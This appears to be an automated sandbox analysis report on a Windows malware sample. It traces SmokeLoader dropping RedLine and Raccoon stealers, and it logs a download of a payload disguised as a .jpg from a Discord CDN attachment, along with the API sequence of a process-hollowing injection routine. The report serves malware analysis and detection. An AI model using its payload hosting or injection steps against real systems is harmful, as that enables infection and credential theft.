20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 6b 4b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 Data Ascii: OO x RY x RY x Rk x tE x YK x RY x RY x RY x to x OOt x kY x RY x RY x Rk x Rk x Oxk x RY x RY x RY x KE x YE x kO x RY x RY x kt x tQ x kY x RY x RY x tO x YY x Oxk x RY x RY x Rt x tE x YE x kO x RY x RY x OOo x tQ x kY x RY x RY x tR x kK x Oxk x RY x

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49829	162.159.130.233	443	C:\Users\user\AppData\Local\Temp\4F44.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 18:29:22 UTC	2653	OUT	GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1 Host: cdn.discordapp.com
2021-10-29 18:29:22 UTC	2653	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:29:22 GMT Content-Type: image/jpeg Content-Length: 345655 Connection: close CF-Ray: 6a5e78102f124ab0-FRA Accept-Ranges: bytes Age: 87746 Cache-Control: public, max-age=31536000 ETag: "d05714d4497c7b55b2c0b1609cbd62c9" Expires: Sat, 29 Oct 2022 18:29:22 GMT Last-Modified: Tue, 26 Oct 2021 11:56:34 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635249394465681 x-goog-hash: crc32c=to49mQ== x-goog-hash: md5=0FcU1El8e1WywLFgnL1iyQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 345655 X-GUploader-UploadID: ADPycds4sIyz_GzjIugLy9_WqK029_2RU2KSIIfGlpMQJZx1WvXGDydhZDvUpsH4QNomt1ATbnkYUYcRxSnB_xGGebc X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BA4V4NfHA17JXRSE3s4llSPzpZR2te%2BeJUwPpbivcxag9x%2BdumDbauWT3%2BW8r7JqNLSxDY%2BLC2ajuHdXH3Sv09%2FEpeKWKA5fNbHg6aCuxS6mwI3y6caZXPSYQEilEJtAFtS8ig%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 18:29:22 UTC	2654	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 18:29:22 UTC	2654	IN	Data Raw: 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 74 6b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 6f 20 78 20 6b 74 20 78 20 Data Ascii: x RQ x tk x OoO x Qx x kt x tx x Kk x Qx x kR x RR x OoO x Qk x Yx x tk x Oxk x QQ x YO x tk x kk x RY x RY x RY x Kk x RY x RQ x tk x OOY x Qk x YO x tk x Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x RY x RR x kO x Rk x kY x Yx x kR x Kk x ko x kt x
2021-10-29 18:29:22 UTC	2655	IN	Data Raw: 20 6b 74 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 78 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 59 45 20 78 20 52 59 20 78 20 74 59 20 78 20 52 51 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 4b 6b 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 59 45 20 78 20 6b 4b 20 78 20 6b 74 20 78 Data Ascii: kt x ko x kO x QQ x OxQ x Yt x OxR x Qx x kk x tk x Ooo x kK x kt x kR x OOR x Qk x YO x tK x YE x RY x tY x RQ x RR x ko x Yx x kR x Kk x kY x to x tK x OOk x kQ x Yx x kR x Ooo x QQ x Kk x tx x OxQ x Qx x OxQ x Oxk x OOt x Qt x kk x ko x YE x kK x kt x
2021-10-29 18:29:22 UTC	2657	IN	Data Raw: 20 6b 6f 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 6b 52 20 78 20 6b 6f 20 Data Ascii: ko x OOo x Qk x kt x kY x RY x RY x tE x tE x RR x ko x Yx x kR x Kk x kK x kt x Yt x Oxt x Oxx x kt x Oox x Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x kR x OOQ x RY x RY x kR x RY x tx x to x Qx x kk x ko x RQ x QQ x OxQ x Oxk x Yx x Qx x kR x ko
2021-10-29 18:29:22 UTC	2658	IN	Data Raw: 20 78 20 4b 51 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 74 4f 20 78 20 51 74 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 4b 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 51 78 20 78 20 6b 52 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 74 20 78 20 6b 4b 20 78 20 74 4f 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 74 20 78 20 4b 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 74 78 20 78 20 4f Data Ascii: x KQ x Qk x tO x kR x tO x Qt x kt x Oox x Oxk x kK x OxQ x tx x OOR x Qx x kR x QQ x RY x RY x tO x kY x Rt x kK x tO x Yt x OxR x Qt x KQ x tK x Oxk x QQ x Yx x Yt x KQ x QQ x OxQ x tk x Oxk x RY x RY x RR x QQ x RY x Oxt x Oox x OOk x kQ x Yx x tx x O

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: CFE9H9mdWr.exe PID: 6832 Parent PID: 4768

General

Start time:	20:27:56
Start date:	29/10/2021
Path:	C:\Users\user\Desktop\CFE9H9mdWr.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\CFE9H9mdWr.exe'
Imagebase:	0x400000
File size:	343552 bytes
MD5 hash:	C5A077A9785424C21611801DB5DD0F95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: CFE9H9mdWr.exe PID: 6892 Parent PID: 6832

General

Start time:	20:27:57
Start date:	29/10/2021
Path:	C:\Users\user\Desktop\CFE9H9mdWr.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\CFE9H9mdWr.exe'
Imagebase:	0x400000
File size:	343552 bytes
MD5 hash:	C5A077A9785424C21611801DB5DD0F95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.343715666.00000000005A1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.343625183.0000000000460000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3352 Parent PID: 6892

General

Start time:	20:28:04
Start date:	29/10/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff720ea0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000C.00000000.331439665.0000000004E91000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: bsstvub PID: 7000 Parent PID: 664

General

Start time:	20:28:42
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\bsstvub
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\bsstvub
Imagebase:	0x400000
File size:	343552 bytes
MD5 hash:	C5A077A9785424C21611801DB5DD0F95
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 23%, Metadefender, Browse Detection: 51%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: 12C6.exe PID: 7040 Parent PID: 3352

General

Start time:	20:28:43
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\12C6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\12C6.exe
Imagebase:	0x400000
File size:	344064 bytes
MD5 hash:	3B947ED5AABDD775B1AFC31A5C4D39A0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: bsstvub PID: 6956 Parent PID: 7000

General

Start time:	20:28:43
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\bsstvub
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\bsstvub
Imagebase:	0x400000
File size:	343552 bytes
MD5 hash:	C5A077A9785424C21611801DB5DD0F95
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000013.00000002.401208082.00000000005B1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000013.00000002.401135304.0000000000570000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 12C6.exe PID: 6176 Parent PID: 7040

General

Start time:	20:28:49
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\12C6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\12C6.exe
Imagebase:	0x400000
File size:	344064 bytes
MD5 hash:	3B947ED5AABDD775B1AFC31A5C4D39A0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000014.00000002.414180179.0000000000460000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000014.00000002.414253923.00000000004F1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: B4BD.exe PID: 4036 Parent PID: 3352

General

Start time:	20:28:58
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\B4BD.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B4BD.exe
Imagebase:	0xe30000
File size:	512512 bytes
MD5 hash:	F57B28AEC65D4691202B9524F84CC54A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000018.00000002.546639298.00000000041E9000.00000004.00000001.sdmp, Author: Joe Security Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\B4BD.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: 234F.exe PID: 6424 Parent PID: 3352

General

Start time:	20:29:01
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\234F.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\234F.exe
Imagebase:	0x1c0000
File size:	512952 bytes
MD5 hash:	42758E2569239A774BECDB12698B124C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\234F.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: 2E6C.exe PID: 1372 Parent PID: 3352

General

Start time:	20:29:03
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\2E6C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2E6C.exe
Imagebase:	0x400000
File size:	212992 bytes
MD5 hash:	73252ACB344040DDC5D9CE78A5D3A4C2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001D.00000003.443536415.0000000002FC0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001D.00000002.465800320.0000000002FC0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001D.00000002.466019596.0000000003001000.00000004.00020000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 80%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: 39F6.exe PID: 244 Parent PID: 3352

General

Start time:	20:29:07
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\39F6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\39F6.exe
Imagebase:	0x860000
File size:	859648 bytes
MD5 hash:	AB823DF932B3C2941A9015848EBDB97B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: 4F44.exe PID: 6980 Parent PID: 3352

General

Start time:	20:29:12
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\4F44.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4F44.exe
Imagebase:	0x830000
File size:	161280 bytes
MD5 hash:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Chronological Activities

Analysis Process: 5AFD.exe PID: 5660 Parent PID: 3352

General

Start time:	20:29:15
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\5AFD.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5AFD.exe
Imagebase:	0x400000
File size:	347136 bytes
MD5 hash:	31BE6099D31BDBF1ED339EFFDC1C7064
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000021.00000002.484679708.0000000002CE1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000021.00000002.484587747.0000000002CC0000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: dfsvc.exe PID: 6040 Parent PID: 4036

General

Start time:	20:29:16
Start date:	29/10/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe
Wow64 process (32bit):
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe
Imagebase:
File size:	24160 bytes
MD5 hash:	48FD4DD682051712E3E7757C525DED71
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000022.00000000.471569387.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000022.00000000.472237000.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000022.00000000.473649658.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: 39F6.exe PID: 6368 Parent PID: 244

General

Start time:	20:29:18
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\39F6.exe
Wow64 process (32bit):	true
Commandline:	39F6.exe
Imagebase:	0x560000
File size:	859648 bytes
MD5 hash:	AB823DF932B3C2941A9015848EBDB97B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 69D3.exe PID: 6156 Parent PID: 3352

General

Start time:	20:29:19
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\69D3.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\69D3.exe
Imagebase:	0x400000
File size:	600064 bytes
MD5 hash:	C1EB42674C5E7180ADEFEC71EE8B1D60
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000024.00000003.473154873.00000000048A0000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: DataSvcUtil.exe PID: 2056 Parent PID: 4036

General

Start time:	20:29:29
Start date:	29/10/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
Wow64 process (32bit):
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
Imagebase:
File size:	71776 bytes
MD5 hash:	CCDF8F3B189FFB839B390F695FAE2A6D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000025.00000000.488797588.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000025.00000000.486835235.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000025.00000000.487989630.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: 39F6.exe PID: 4716 Parent PID: 3352

General

Start time:	20:29:30
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\39F6.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\39F6.exe'
Imagebase:	0x9f0000
File size:	859648 bytes
MD5 hash:	AB823DF932B3C2941A9015848EBDB97B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: AddInUtil.exe PID: 6984 Parent PID: 4036

General

Start time:	20:29:34
Start date:	29/10/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe
Wow64 process (32bit):
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe
Imagebase:
File size:	42600 bytes
MD5 hash:	65D30D747EB31E108A36EBC966C1227D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000000.494537883.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000000.495400443.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000027.00000000.493522806.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: 4F44.exe PID: 7164 Parent PID: 6980

General

Start time:	20:29:37
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\4F44.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\4F44.exe
Imagebase:	0x3f0000
File size:	161280 bytes
MD5 hash:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.514503943.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000002.543712814.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.516850335.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.523576930.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000028.00000000.513777665.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: CFE9H9mdWr.exe PID: 6832 Parent PID: 4768 CFE9H9mdWr.exeCOMMON

Executed Functions

Function 00960110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00960156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0096016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00960255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00960270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00960283
GetThreadContext.KERNELBASE(00000000,?), ref: 0096029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 009602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 009602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00960304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0096032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00960399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 009603BF
SetThreadContext.KERNELBASE(00000000,?), ref: 009603E1
ResumeThread.KERNELBASE(00000000), ref: 009603ED
ExitProcess.KERNEL32(00000000), ref: 00960412

Memory Dump Source

Source File: 00000000.00000002.285097562.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: a8430609d649631d80344a6063533bc9e50c0a55c11d3bc4568478d137aaf4e9
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 3CB1C874A00208AFDB44CF98C895FAEBBB5FF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00960630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(user32), ref: 009606E2

Strings

SetThreadContext, xrefs: 00960D7A, 00960D80
NtUnmapViewOfSection, xrefs: 00961085, 0096108B
WinExec, xrefs: 00960820, 00960823
DefWindowProcA, xrefs: 00961374, 0096137A
WriteFile, xrefs: 009608CD, 009608D0
CreateWindowExA, xrefs: 0096123E, 00961244
user32, xrefs: 009606DB, 009606E1
ResumeThread, xrefs: 00960DEF, 00960DF5
GetCommandLineA, xrefs: 00960F82, 00960F88
kernel32, xrefs: 009607ED, 009607F3
GetMessageExtraInfo, xrefs: 00960794, 0096079A
GetModuleFileNameA, xrefs: 00960EFB, 00960EFE
ReadProcessMemory, xrefs: 00960C4A, 00960C50
RegisterClassExA, xrefs: 009611B7, 009611BD
GetMessageA, xrefs: 009612F7, 009612FA
VirtualAlloc, xrefs: 00960AC1, 00960AC7
CloseHandle, xrefs: 00960938, 0096093E
GetFileAttributesA, xrefs: 009613D7, 009613DA
ExitProcess, xrefs: 00961554, 0096155A
CreateFileA, xrefs: 0096088B, 00960891
WaitForSingleObject, xrefs: 00960E95, 00960E9B
NtWriteVirtualMemory, xrefs: 0096112C, 00961132
ntdll.dll, xrefs: 00960FE2, 00960FE8
CreateProcessA, xrefs: 009609BB, 009609C1
VirtualFree, xrefs: 00960BB2, 00960BB8
VirtualAllocEx, xrefs: 00960B44, 00960B4A
PostMessageA, xrefs: 009612B0, 009612B6
GetThreadContext, xrefs: 00960A4C, 00960A52
WriteProcessMemory, xrefs: 00960CE9, 00960CEF
GetStartupInfoA, xrefs: 0096145B, 00961461
MessageBoxA, xrefs: 009606EE, 009606F4
VirtualProtectEx, xrefs: 009614E9, 009614EF

Memory Dump Source

Source File: 00000000.00000002.285097562.0000000000960000.00000040.00000001.sdmp, Offset: 00960000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 623fd896c01892e54263ff355f907e1acfe667f8ddf943062958a13b00104cce
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: 97A24460D0C6E8C9EB21C668CC4C7DDBEB51B26749F0841D9858C66292C7BB1B98CF76

Uniqueness

